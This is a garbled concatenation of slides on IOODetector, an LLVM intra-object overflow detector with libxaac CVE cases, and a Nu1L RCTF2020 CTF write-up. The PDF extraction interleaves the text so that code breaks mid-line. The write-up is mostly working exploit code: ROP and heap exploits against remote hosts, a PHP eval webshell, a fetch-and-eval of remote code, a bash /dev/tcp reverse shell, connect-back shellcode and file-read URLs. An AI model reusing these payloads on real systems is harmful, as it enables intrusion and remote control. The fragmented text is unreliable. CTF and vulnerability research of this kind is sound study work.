getNumIndices() • hasIndices() • Indices() • getPointerOperand() • getPointerOperandType() • getOperand() • …… With all these convenient APIs, we can do whatever we want IOODetector simplest solution • A check function call will be inserted before every GEP instruction whose source Type is an array • Detector sanitize two things • index < size & index > 0 GetSourceElementType srcType isArrayTy GEP hasIndicies size=src->getNumElements insertCheckBeforeGEP END visitGetElementPtrInst IOODetector’s simplest solution • Checking Results: IOODetector’s simplest solution • Checking Results: However, it’s not enough GEP without numOfElements 1. SourceType is not ArrayType. 2. Array NumElement is missing Store and Load Instructions(Memory Access) The real memory access behavior happens in load&store instruction. Checking on GEP instruction will result in false positive Store and Load Instructions(Pointer Ref && Deref) Load and Store instructions are also used to propagate tainted nodes. If the src of StoreInst/loadInst is tainted callInst and retInst Tainted Value propagating to/from function call IOODetector’s Solution • Step1: Find all explicit GEP instructions. Allocate a tag for them. • new_node( int unique_tag, int current_index, int number_element); • Step2: Traverse its user list • propagate( int src_tag, int uniq_dest_tag, int offset ) • check(int tag) • Step3: Recursively traverse the user list of its user • propagate( int src_tag, int uniq_dest_tag, int offset ) • check(int tag) IOODetector’s Solution • Taint Source • GEP Instruction • %arrayidx14.i = getelementptr inbounds [16 x i32], [16 x i32]* %16, i32 0, i32 0 • Taint Propagation • GEP Instruction • %arrayidx23.i = getelementptr inbounds i32, i32* %279, i32 8 • Load && Restore Instruction • store i32* %2, i32** %1, align 8 • %3 = load i32*, i32** %1, align 8 • Call && Return Instruction • %33 = call i32 @func(i8* %31, i32 %32) • ret i32* %25 • Check Point • Load & Store Instruction • %37 = load i32, i32* %3, align 4 • store i32 %24, i32* %4, align 4 Detection Result Detection Result All the three examples are Successfully Detected Other Challenges and Solutions • Recursion -> Tags in the the same function are constants • fun_a->fun_b->fun_a • Solution: we introduce node->call_layer field to simulate the call stack. • For efficiency: only instrumented functions will be record. • Multiple modules in a big project • Global Tag Generator: • Unique tags are required in every module • Consistent tags for the same function are required Find real target project in AOSP ●Code pattern of Intra object buffer in C ●Search [ in .h files for a coarse result ●Or ●Search with regular expression in the whole AOSP libxaac, the treasure • libxaac is a new OMX component introduced in Android P • XAAC stands for xHE-AAC (Extended High Efficiency Advanced Audio Coding) • Bit rate as low as 6kbps for mono and 12kbps for stereo when network is congested. Request a higher bit rate version and seamlessly switch over once more bandwidth available • “Adding xHE-AAC to our patent pool ensures that broadcasters and service providers can deliver the next generation of audio to consumers efficiently and affordably.” • libxaac in Android is the first implementation of xHE-AAC libxaac, the treasure • Memory Management in libxaac ●libxaac itself doesn’t allocate or deallocate any buffers. It provides a GET_SIZE_API. API caller is responsible for memory management ●Big chunks are allocated for efficiency. ~64MB ●Sort of anti-fuzzing or anti-crash. Unfriendly to Fuzzer+ASAN • Lots of intra-object arrays in the allocated big chunks libxaac – configuration and decoding Two attack Surfaces configuration decoding Both the functions receive a buffer as input Both the two attack surfaces uses two different big data structures with lots of intra object buffers Fuzzing libxaac ●Two fuzzers for libxaac – lots of crashes raised by IOODetector ● configfuzzer ●Testing the configuration process of libxaac ●We also use this fuzzer to generate `good config bufs` for decoding stage. (After a config-buf is processed, if the err_code is OK, then the buf is considered as a `good config-buf`) ●1000+ good config bufs were generated in 1 week ● decodefuzzer ●The second stage of decoding an audio stream. a) choose a random gcb b) feed gcb to configxaacdecoder. c) generate test cases for decodexaacstream interface Vulnerabilities found in AOSP Confirmed bugs • CVE-2018-9569, CVE-2018-9570, CVE-2018-9571, CVE-2018-9572, CVE-2018-9573, CVE-2018-9574, CVE-2018-9575, CVE-2018-9576, CVE-2018-9577, CVE-2019-2063, CVE-2019-2064, CVE-2019-2065, CVE-2019-2066, CVE-2019-2067, CVE-2019-2068, CVE-2019-2069, CVE-2019-2070, CVE-2019-2071, CVE-2019-2072, CVE-2019-2073, CVE-2019-2074, CVE-2019-2075, CVE-2019-2076, CVE-2019-2077, CVE-2019-2078, CVE-2019-2079, CVE-2019-2086. Duplicated issues • AndroidID-119054381, AndroidID-119054381, AndroidID-117992588 , AndroidID- 117789761, AndroidID-117789797, AndroidID-116772652, AndroidID-116746433, AndroidID-117079549, AndroidID-117064603, AndroidID-117105233, AndroidID- 117204086, AndroidID-115919654 …… And some other issues… Case1 CVE-2019-2065 str_node is a pointer that points to a field of ia_spline_nodes_struct impd_read_bits_buf is controllable, k could be larger than 256 when end_marker never meet out-of-bounds write here str_node lies in the deep layer of multiple nested structures Case2 CVE-2018-9575 Impd_read_bits_buf is controllable. temp:[0..0xff] DOWNMIX_INSTRUCTI ON_COUNT_MAX is 16 dwnmix_instructions_co unt’s range is [0..0x7f] dwnmix_instructions[] out- out-of-bounds access Case2 CVE-2018-9575 Write controllable values out-of-bounds Case3 CVE-2019-2064 Number of elements in array str_filter_element is FILTER_ELEMENT_COUNT_MAX(16) Filter_element_count is controllable, its range is [0..63] str_filter_elements is a temp pointer pointed to the start address of member array str_filter_element The for-loop goes through at most 64 cycles, which is larger than FILTER_ELEMENT_COUNT_MAX(16) Pointer str_filter_elements will point to the next element in this array Many possible oobw issues False positive and performance ●Strange accessing approaches will result in false positive mem1 byte predata[5] byte data[4] int size2 …… ptr *(int*)(ptr+NUM_DATA) IOODetector will be sensitive and report an error *(int*)(ptr-NUM_PREDATA) ●The overhead of IOODetector is about ~2.6x after we optimize our code to instrument as less code as possible Further stories The library has been marked as experimental and is no longer included in any production Android builds since Nov. 2018 Google introduced a Sanitizer named BoundSan to automatically instrument arrays to prevent overflows and fail safely. BoundSan is enabled in 11 media codecs and throughout the Bluetooth stack for Android Q. By optimizing away a number of unnecessary checks the performance overhead was reduced to less than 1%. https://security.googleblog.com/2019/05/queue- hardening-enhancements.html THANKS Q&A
pdf
RCTF2020-WP Author:Nu1L Team RCTF2020-WP RE My Switch Game play_the _game go-flag panda_trace rust-flag Cipher PWN bf Best_php note golang_interface no_write 0c WEB swoole rBlog 2020 EasyBlog Calc MISC Welcome to the RCTF 2020 mysql_interface Switch PRO Controller bean FeedBack Crypto easy_f(x) BlockChain roiscoin RE My Switch Game flagflag rumble 32joyconmaster a2 10 xx 04 b4 01 4e 04 b4 01 4e import argparse import struct import time from joycontrol.report import InputReport, OutputReport, SubCommand """ joycontrol capture parsing example. Usage: parse_capture.py <capture_file> parse_capture.py -h | --help """ def _eof_read(file, size): """ Raises EOFError if end of file is reached. """ data = file.read(size) if not data: raise EOFError() return data if __name__ == '__main__': # list of time, report tuples total = [] with open(r'F:\path_to_shit_log\log.log', 'rb') as capture: try: start_time = None while True: # parse capture time _time = struct.unpack('d', _eof_read(capture, 8))[0] if start_time is None: start_time = _time # parse data size size = struct.unpack('i', _eof_read(capture, 4))[0] # parse data data = list(_eof_read(capture, size)) if data[0] == 0xA1: report = InputReport(data) # normalise time total.append((_time, report)) elif data[0] == 0xA2: report = OutputReport(data) # normalise time total.append((_time, report)) else: raise ValueError(f'Unexpected data.') except EOFError: pass # Do some investigation... i = 1 count = 0 last_buttons = [0, 0, 0, 0] for each in total: data = each[1].data if data[3:] == [0x04, 0xb4, 0x01, 0x4e, 0x04, 0xb4, 0x01, 0x4e] and data[0] == 0xa2: for idx in range(4): if last_buttons[idx] == 1: print(label[idx], end=',') print('shit!') if (data[4] != 0 or data[5] != 0 or data[6] != 0) and data[0] == 0xa1 and data[1] == 0x30: time_context = time.asctime(time.localtime(each[0])) label = 'Down Up Right Left'.split() b = data[6] buttons = b & 1, (b >> 1) & 1, (b >> 2) & 1, (b >> 3) & 1 if buttons != last_buttons: count += 1 #print(time_context, data[4:7], i, ' -> count: ', count, end=' ') for idx in range(4): if buttons[idx] == 1: #print(label[idx], end=',') pass # print() last_buttons = buttons i += 1 Left,shit! Up,shit! Up,shit! Left,shit! patch yuzu32flag Left,shit! Left,shit! Left,shit! Right,shit! Left,shit! Right,shit! Left,shit! Left,shit! Left,shit! Left,shit! Up,shit! Left,shit! Right,shit! Left,shit! Right,shit! Left,shit! Down,shit! Left,shit! Right,shit! Left,shit! Up,shit! Left,shit! Right,shit! Left,shit! Right,shit! Up,shit! Up,shit! Right,shit! .text:000000000000053C D5 05 00 90 ADRP X21, #0xB8000 ; Keypatch modified this from: .text:000000000000053C ; ADRP X21, #0x80000 .text:0000000000000540 B5 E2 2C 91 ADD X21, X21, #0xB38 ; Keypatch modified this from: .text:0000000000000540 ; ADD X21, X21, #0x68 play_the _game libdeflatflagflag{md5(0x%x)} %x flag100 jupyter955939368md5flag int dword_2B008 = 0x13F4E6A3; int dword_2B00C = 0xDEF984B1; void IncTick() { int v0; // [sp+18h] [bp-78h] int v1; // [sp+6Ch] [bp-24h] v1 = (int)((sqrt((double)(8 * (dword_2B008 - 0x13F4E6A3) + 1)) - 1.0) / 2.0 + 1.0); dword_2B008 += v1; v0 = dword_2B008 % 4; if ( dword_2B008 % 4 ) { switch ( v0 ) { case 1: dword_2B00C *= v1; break; case 2: dword_2B00C <<= v1 % 8; break; case 3: go-flag main_main_fun1runtime_chansend1goroutine runtime_chanrecv1 runtime_chanrecv1 RCTF{my_br4in_is_f__ked} panda_trace https://github.com/panda-re/panda ,pandaplog,monitorbegin_record ,panda,replay panda,, ,replay,replay,stringsearchRCTF,replay ,dump,dump(,625914625 ,dumpflag rust-flag dword_2B00C += dword_2B008; break; } } else { dword_2B00C = (~dword_2B00C & 0x384FD424 | dword_2B00C & 0xC7B02BDB) ^ (~dword_2B008 & 0x384FD424 | dword_2B008 & 0xC7B02BDB); } } while (dword_2B008 + 2003757756 < 0x8B63E4B5) { IncTick(); } dword_2B00C /home/mozhucy/build/panda/build/x86_64-softmmu/panda-system-x86_64 \\ -m 1G \\ -replay ./trace \\ --usbdevice tablet \\ -panda memsavep:instrcount=625914625,file=mymem.dd rust-flag attachflag flag RCTF{sTream_eQuals} Cipher #include<stdio.h> #include<time.h> #include<stdlib.h> #include<stdio.h> #include<string.h> struct block { unsigned long long a; unsigned long long b; }; unsigned long long ror(unsigned long long a,int n) { return (a >> n) + (a << (64-n)); } block enc(unsigned long long key[],block in) { unsigned long long b1 = in.a; unsigned long long b2 = in.b; unsigned long long s1 = key[0]; unsigned long long s2 = key[1]; unsigned long long t1 = (b2 >> 8) + (b2 << 0x38) + b1 ^ s1; unsigned long long t2 = (b1 >> 0x3d) + b1 * 8 ^ t1; unsigned long long i = 0; while (i < 0x1f) { s2 = (s2 >> 8) + (s2 << 0x38) + s1 ^ (long long)i; s1 = (s1 >> 0x3d) + s1 * 8 ^ s2; t1 = (t1 >> 8) + (t1 << 0x38) + t2 ^ s1; t2 = (t2 >> 0x3d) + t2 * 8 ^ t1; i = i + 1; // printf("enc %d:%p\n",i,s1); // printf("steg %d:%p %p\n",i,t1,t2); } block res; res.a = t2; res.b = t1; return res; } block dec(unsigned long long key[],block in) { unsigned long long b1 = in.a; unsigned long long b2 = in.b; unsigned long long s1 = key[0]; unsigned long long s2 = key[1]; unsigned long long t2 = b1; unsigned long long t1 = b2; unsigned long long s1t[32] = {0}; unsigned long long s2t[32] = {0}; s1t[0] = s1; s2t[0] = s2; unsigned long long i = 0; while (i < 0x1f) { s2 = (s2 >> 8) + (s2 << 0x38) + s1 ^ (long long)i; s1 = (s1 >> 0x3d) + s1 * 8 ^ s2; s1t[i+1] = s1; s2t[i+1] = s2; i = i + 1; // printf("enc %d:%p\n",i,s1); } i = 0; while (i < 0x20) { // printf("steg %d:%p %p\n",i,t1,t2); t2 = ror(t2 ^ t1,3); t1 = ror((t1 ^ s1t[31-i]) - t2,64-8); // t1 = (t1 >> 8) + (t1 << 0x38) + t2 ^ s1; // t2 = (t2 >> 0x3d) + t2 * 8 ^ t1; i = i + 1; } block res; res.a = t2; res.b = t1; return res; } unsigned char encflag[] = {0x2a,0x0,0xf8,0x2b,0xe1,0x1d,0x77,0xc1,0xc3,0xb1,0x71,0xfc,0x23,0xd5,0x91,0xf4 ,0x30,0xf1,0x1e,0x8b,0xc2,0x88,0x59,0x57,0xd5,0x94,0xab,0x77,0x42,0x2f,0xeb,0x7 5,0xe1,0x5d,0x76,0xf0,0x46,0x6e,0x98,0xb9,0xb6,0x51,0xfd,0xb5,0x5d,0x77,0x36,0x f2,0xa}; unsigned char testenc[] = {0x1,0x14,0x92,0xdd,0xed,0x6d,0xf9,0xcb,0xb1,0xb6,0x8a,0xbb,0x2,0xa,0x99,0x51,0 x3d,0xc3,0x3a,0x41,0x40,0x11,0x9f,0x5c,0x70,0x26,0x6f,0x76,0x95,0x66,0xfb,0xd2} ; int isp(unsigned char* d) { for(int i=0;i<15;i++) { if(d[i] <= 0x20 || d[i]>=0x7f) { return 0; } } return 1; } unsigned long long tol(unsigned char *s) { unsigned long long res = 0; for(int i=0;i<8;i++) { res <<= 8; res += s[i]; } return res; } int main() { unsigned long long key[2] = {0}; block input; unsigned long long *t = (unsigned long long *)&encflag; input.a = tol(&encflag[0]); input.b = tol(&encflag[8]); unsigned long gt = 0x5ed246fe - 345600; // unsigned long gt = 0; unsigned char des[32] = {0}; unsigned long long guess = 0x10000; // key[0] = 0x27a7000000000000; // input.a = 0x6161616161616161; // input.b = 0x6161616161616161; // block fk = enc(key,input); // printf("test:%p %p\n",fk.a,fk.b); // block testres2 = dec(key,fk); // printf("test:%p %p\n",testres2.a,testres2.b); key[0] = 0x7413000000000000; for(int i=0;i<3;i++) { input.a = tol(&encflag[i*16]); input.b = tol(&encflag[i*16 + 8]); block de1 = dec(key,input); block de2; de2.a = de1.b; de2.b = de1.a; char* fk = (char*)&de2; for(int i=0;i<16;i++) { printf("%c",fk[15-i]); } } // while (guess--) // { // // srand(gt); // // check // // block testi; // // testi.a = 0xf766b0f461988a91; // // testi.b = 0xea68b3e7e0a791be; // // block testres = dec(key,enc(key,testi)); // // if(testres.a != testi.a || testres.b != testi.b) // // { // // printf("fuck %p\n",guess); // // } // key[0] = guess<<(64-16); // key[1] = 0; // // printf("%p\n",key[0]); // block de1 = dec(key,input); // memcpy(des,&de1,16); // if(isp(des)) // { // printf("%s %p %p %p\n",des,key[0],key[1],gt); // } // } PWN bf brainfuck >< >opcode off-by-one bf stringbyte orw return 0; } from pwn import * elf = ELF("./bf",checksec=False) libc = ELF("./libc.so.6",checksec=False) def csu(rdi,rsi,rdx,func): payload = p64(0x49DC+pie) payload += p64(func)+p64(rdi)+p64(rsi)+p64(rdx)+p64(0x49C0+pie) payload += 'A'*(8*7) return payload while True: try: # s = process("./bf") s = remote("124.156.135.103","6002") payload = '+[>,]>.,' payload = payload.rjust(0xf,'1') s.sendline(payload) for i in range(0x400-2): s.send("1") s.send('\x00') s.send('\xf8') s.recvuntil("done! your code: ") s.recv(8) pie = u64(s.recv(6)+'\x00\x00')-0x4980 success(hex(pie)) raw_input(">") puts_plt = elf.plt['puts']+pie Best_php http://124.156.129.96:8081/file?file=php://filter/read=convert.base64-encode/resource=../.env puts_got = elf.got['puts']+pie read_plt = elf.plt['read']+pie read_got = elf.got['read']+pie pop_rdi = 0x00000000000049e3+pie pop_rsi_r15 = 0x00000000000049e1+pie bss = pie+0x207500 pop_rsp_rbp = 0x000000000000288d+pie payload = 'y'+p64(0)+p64(1)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) payload += csu(0,bss,0x1000,read_got) payload += p64(pop_rsp_rbp)+p64(bss) payload += '+[>,]>.,' raw_input(">") s.sendlineafter('want to continue?',payload) for i in range(0x400-2): s.send("1") s.send('\x00') s.send('\xd0') s.recvuntil("want to continue?\n") s.send("n") puts = s.recv(6)+'\x00\x00' puts = u64(puts) offset = puts-libc.sym['puts'] success(hex(offset)) system = offset+libc.sym['system'] open_ = offset+libc.sym['open'] write = offset+libc.sym['write'] read = offset+libc.sym['read'] pop_rdx = offset+0x0000000000001b96 sh = bss+0x300 payload = 'A'*8+p64(pop_rdi)+p64(sh)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x400)+p64(0)+p64(pop_rdx)+p64(0x1 00)+p64(read) payload += p64(pop_rdi)+p64(bss+0x400)+p64(puts_plt) payload = payload.ljust(0x300,'\x00') payload += './flag\x00' raw_input(">") s.send(payload) s.interactive() except: pass APP_NAME=Laravel http://124.156.129.96:8081/file?file=/var/www/ctf-challenge/database/db.sqlite http://124.156.129.96:8081/file?file=php://filter/read=convert.base64-encode/resource=/var/www /ctf-challenge/php-my_ext-so-is-here-go-for-it/my_ext.so pwn payload libc 2.27 zif_ttt_showphpleak APP_ENV=local APP_KEY=base64:4dAiqrhXpwJnbKOG+Ql/P7i0v0oRmPgiTSPXKWyxem0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=sqlite DB_DATABASE=/var/www/ctf-challenge/database/db.sqlite DB_FOREIGN_KEYS=true BROADCAST_DRIVER=log CACHE_DRIVER=file QUEUE_CONNECTION=sync SESSION_DRIVER=database SESSION_LIFETIME=120 REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 MAIL_DRIVER=smtp MAIL_HOST=smtp.mailtrap.io MAIL_PORT=2525 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" strcpyoff-by-null0 off-by-null getshell from pwn import * import requests import uuid from urllib import quote s = requests.Session() def register(): tmpstr = uuid.uuid1().__str__() name = "<?php eval($_GET[1]);die(0);?>"+tmpstr email = tmpstr+"@qq.com" burp0_url = "http://124.156.129.96:8084/register" burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": " <http://124.156.129.96:8084/register>", "Content-Type": "application/x-www- form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} burp0_data = {"name": name, "email": email, "password": "123456789", "password_confirmation": "123456789"} s.post(burp0_url, headers=burp0_headers, data=burp0_data) def login(): burp0_url = "http://124.156.129.96:8084/login" burp0_cookies = {"laravel_session": "eyJpdiI6IlFiM0wwamNTN0drUkxxZnk0bXB3Umc9PSIsInZhbHVlIjoiV2txaW5FVlliS21vbjNrel E0UVlNRkVQVkVESWZnUDJVVGE0TG9CQjYzaEhKWGxWOEdmcElGMGxxU1Rqc3RyWSIsIm1hYyI6IjIzM jc5YWI5MDhhNzM4Y2ViMjliYWQxNzU4Y2E2ODNkMDFmYmMzOGVhOTFkN2IwMWUzMzdjZjA0YjRlODIw Y2IifQ%3D%3D"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": " <http://124.156.129.96:8084/login>", "Content-Type": "application/x-www-form- urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} burp0_data = {"email": "[email protected]", "password": "[email protected]"} s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) def php_eval(phpcode): return s.get("http://124.156.129.96:8084/file?file=%2Fvar%2Fwww%2Fctf- challenge%2Fdatabase%2Fdb.sqlite&1=$evalc=file_get_contents('http://39.105.216. 123/exp.php');eval($evalc);").text register() code = "" def hint(): global code code += "ttt_hint();" def backdoor(idx): global code code += "ttt_backdoor("+str(idx)+");" def alloc(idx, size): global code code += "ttt_alloc("+str(idx)+","+str(int(size))+");" def free(idx): global code code += "ttt_free("+str(idx)+");" def edit(idx,content): global code code += "ttt_edit('"+str(content)+"',"+str(idx)+");" def show(idx): global code # ttt_show may leak addr, you could assign it to a variable. eg: $a = ttt_show(1); code += "$a = ttt_show("+str(idx)+");" def u64x(): global code code += "$a = strrev($a);" code += "$a = bin2hex($a);" code += "echo '0x'.$a;" code += "$a = hexdec('0x'.$a);" code += "$a = $a-0x78;" code += "echo $a;" def p64x(): global code code += '$realloc_hook = pack("LL", $a & 0xffffffff, $a >> 32);' def pwn(): global code code += "die(0);" f = open("./exp.php","w") # f.write("<?php\n") f.write(code) f.close() # print("[*]payload: "+code) print(php_eval(code)) # code = "phpinfo();" # pwn() hint() # start here for i in range(0x10,0x3f0,0x10): for j in range(100): alloc(0,i) alloc(0,0x70) for i in range(7): alloc(i,0xf0) alloc(8,0xf0) alloc(9,0x20) alloc(10,0x28) alloc(11,0xf0) alloc(12,0x20) hint() for i in range(7): free(i) free(8) edit(10,'A'*0x28) for i in [7,6,5,4,3,2,1,0]: tmp = 0x20+i edit(10,'A'*tmp) edit(10,'A'*0x20+'\x60\x01') free(11) alloc(0,0x70) alloc(0,0x70) show(9) u64x() p64x() free(10) alloc(1,0x100) code += 'ttt_edit(\''+'A'*0x30+"\'.$realloc_hook"+','+"1);" alloc(2,0x20) alloc(4,0x200) edit(4,'/bin/bash -c "bash -i >& /dev/tcp/xxxxxxxxx/9999 0>&1"\x00') alloc(3,0x20) edit(3,'tttpwnit') note hitcon lazyhouseeditlarge bin attack backdoor(4) # end here pwn() from pwn import * #r = process('./note') r = remote('124.156.135.103',6004) context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] libc = ELF('./libc.so') rn = lambda n : r.recv(n) ra = lambda : r.recv() ru = lambda s : r.recvuntil(s) rl = lambda : r.recvline() sl = lambda s : r.sendline(s) sd = lambda s : r.send(s) def add(idx,size): ru("Choice: ") sl("1") ru("Index: ") sl(str(idx)) ru("Size: ") sl(str(size)) def free(idx): ru("Choice: ") sl('2') ru("Index: ") sl(str(idx)) def show(idx): ru("Choice: ") sl('3') ru("Index: ") sl(str(idx)) def edit(idx,content): ru("Choice: ") sl('4') ru("Index: ") sl(str(idx)) ru("Message:") sd(content) def just1(idx,content): ru("Choice: ") sl('7') ru("Index: ") sl(str(idx)) ru("Message:") sd(content) def aim(content): ru("Choice: ") sl('6') ru("Give a super name: ") sd(content) add(0,21524788884141834) free(0) add(0, 0x88) add(1, 0x248) add(2, 0x248) add(6, 0x248) add(3, 0x88) add(7, 0x88) add(4, 0x448) for i in range(7): add(5, 0x248) free(5) just1(0, b'a' * 0x80 + p64(0) + p64(0x781)) free(1) add(1, 0x338) edit(1,b'b' * 0x240 + p64(0) + p64(0x251)+b"\n") add(5, 0x600) show(2) rn(0xf0) libc_addr = u64(rn(8)) - 1120 - (libc.symbols['__malloc_hook'] + 0x10) log.success('libc_addr: ' + hex(libc_addr)) rn(8) heap_addr = u64(rn(8)) & 0xfffffffffffff000 log.success('heap_addr: ' + hex(heap_addr)) free(2) add(2,0x248) edit(2, b'c' * 0xe0 + p64(0) + p64(0x441) + p64(libc_addr + 0x1e50a0) + p64(libc_addr + 0x1e50a0) + p64(0) + p64(libc_addr + 0x1e7600 - 0x20)+b'\n') free(4) add(4, 0x88) free(4) free(2) edit(1, b'd' * 0x240 + p64(0) + p64(0x251) + p64(heap_addr)+b"\n") add(2, 0x248) golang_interface add(4, 0x248) edit(4, p64(0x0000000200000000)+b'\x00'*0x58+p64(libc_addr +libc.symbols['__free_hook'])+b'\n') one_gadget = libc_addr+0x106ef8 aim(p64(one_gadget)+b'\n') free(0) r.interactive() package main // <https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory- safety.html> // <https://blog.stalkr.net/2019/12/the-gomium-browser-exploits.html> type itf interface { X() bool L() uint64 } type safe struct { f *uint64 } type unsafe struct { f func(string) bool } var good itf var bad itf var confused itf func (s *safe) X() bool { return false } func (s *safe) L() uint64 { return *s.f } var sc string func (u *unsafe) X() bool { if u.f != nil { u.f(sc) } return false } func (u *unsafe) L() uint64 { return 0 } var pp uint64 var val uint64 func boolfunc(sc string) bool { return pp == 12345 } func runsc(sc string) []int { x0 := 0x05eb909090909090 x1 := 0x06eb9008247c8b48 x2 := 0x06eb90900cefc148 x3 := 0x06eb90900ce7c148 x4 := 0x06eb9000001000be x5 := 0x06eb9000000007ba x6 := 0x06eb900000000ab8 x7 := 0x0000082464ff050f return []int{x0,x1,x2,x3,x4,x5,x6,x7} } func main() { pp = 0x0000000000133337 good = &safe{f: &pp} bad = &unsafe{f: boolfunc} f := runsc confused = good go func() { var i int for { confused = bad confused = good i++ if i > 100000 { break } } }() for { val = confused.L() no_write write if val != pp && val != 0 { break } } pp = val + 0x5a //sc = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x 01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\ x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05" sc = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x89\xc5\x48\xb8\x01\x01\x 01\x01\x01\x01\x01\x01\x50\x48\xb8\x03\x01\x26\x0e\x02\x71\x25\x37\x48\x31\x04\ x24\x6a\x2a\x58\x48\x89\xef\x6a\x10\x5a\x48\x89\xe6\x0f\x05\x6a\x03\x5d\x6a\x03 \x5e\x48\xff\xce\x78\x0b\x56\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x4 8\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x 34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\ xd2\x6a\x3b\x58\x0f\x05" for { ret := confused.X() if ret == true { break } } f(sc) } from pwn import * #context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] rn = lambda n : r.recv(n) ra = lambda : r.recv() ru = lambda s : r.recvuntil(s) rl = lambda : r.recvline() sl = lambda s : r.sendline(s) sd = lambda s : r.send(s) def call_func(r12, r13, r14,r15): buf = p64(0x40076A) buf += p64(0) # rbx buf += p64(1) # rbp buf += p64(r12) # func_addr buf += p64(r13) # edi buf += p64(r14) # rsi buf += p64(r15) # rdx buf += p64(0x400750) buf += b'\x00' * 56 return buf flag = '' while(1): i=0x29 while(1): #r = process("./no_write") r = remote('129.211.134.166', 6000) read_got = 0x600FD8 bss = 0x601078 pop_rbp = 0x400588 leave_ret = 0x40067c ##stack bss payload = b'a'*0x18+call_func(read_got,0,bss,0x580)+p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret) sd(payload) ##__libc_start_main pop_rdi = 0x400773 pop_rsp = 0x40076d syscall = 0x6014d8 payload1 = b"flag" #payload1 = b"./flag" payload1 += b'\x00'*(0x38-len(payload1)) payload1 += call_func(read_got,0,syscall,0x1) payload1 += call_func(read_got,0,bss+0x580,0x2) payload1 += call_func(syscall,bss,0,0) flag_addr = 0x601318 payload1 += call_func(read_got,3,bss+0x580,len(flag)) payload1 += call_func(read_got,3,flag_addr,0x1) payload1 += p64(0x040076A)+p64(i)+p64(0)*5 payload1 += p64(0x40075D)+p64(0)*7 payload1 += call_func(read_got,0,bss+0x580,0x10)*2 payload1 += b'\x00'*(0x480-len(payload1)) payload1 += p64(pop_rsp)+p64(0)*0xf + call_func(0x600FF0,pop_rdi,0,bss+0x20) payload1 += b'a'*(0x580-len(payload1)) sd(payload1) sd(b'\x7f') sd(b'a'*2) try: sleep(1) 0c r.send("a"*0x10) r.recv(1,timeout=2) flag += chr(i+1) r.close() break except: i += 1 try: r.close() except: pass print(i) print(flag) #!/usr/bin/env python # -*- coding: utf-8 -*- import struct code = "'getenv'; '(Ljava/lang/String;)Ljava/lang/String;'; '([Ljava/lang/String;)V'; 'main'; 'SourceDebugExtension'; 'FLAG'" code += "print('getenv');" def c_str(s): r = '' for c in s: r += '\\x%02x' % (ord(c)) return r # pool codestr = "" # this starts at #28 codestr += "\x0c\x00\x13\x00\x15" # name & type: Stringgetenv(String): #29 codestr += "\x0a\x00\x06\x00\x22" # method ref: java.lang.System:getenv #30 codestr += "\x0c\x00\x13\x00\x15" # name & type: Stringgetenv(String): #29 codestr += "\x00\x21" # access flag codestr += "\x00\x02" # this class codestr += "\x00\x04" # super class codestr += "\x00\x00" * 2 # iface, field cnt # method codestr += "\x00\x01" # method count codestr += "\x00\x09" # access: static public codestr += "\x00\x19" # name: main codestr += "\x00\x17" # desc codestr += "\x00\x01" # attribute count WEB swoole fixup = 4 cc = "" cc += '\x12\x1e' # load FLAG cc += "\x05\x36" # fix utf-8: iconst_5; istore 0xc2 cc += '\xb8\x00\x23' # invokestatic cc += '\x4b' # astore_0 cc += "\x05\x36" # fix utf-8: iconst_5; istore 0xc2 cc += '\xb2\x00\x0a' # getstatic cc += '\x2a' # aload_0 cc += '\x05\x36' # fix utf-8 cc += '\xb6\x00\x10' # invokevirtual cc += "\x05\x36" # fix utf-8 for return: iconst_5; istore 0xc2 cc += "\xb1" # return # code attribute codestr += "\x00\x12" # name: Code codestr += "\x00\x00\x00\x26" # length codestr += "\x01\x00" # max stack codestr += "\x01\x00" # max local codestr += "\x00\x00\x00\x1a" # code len codestr += cc codestr += "\x00\x00" # exc table count codestr += "\x00\x00" # attrib count # SDE attrib to remove padding bytes codestr += "\x00\x01" # attrib count codestr += "\x00\x1b" # attrib name codestr += "\x00\x00\x00\x7d" exploit = "\xff" * len(codestr) + codestr code += "\'%s\';" % c_str(exploit) code += 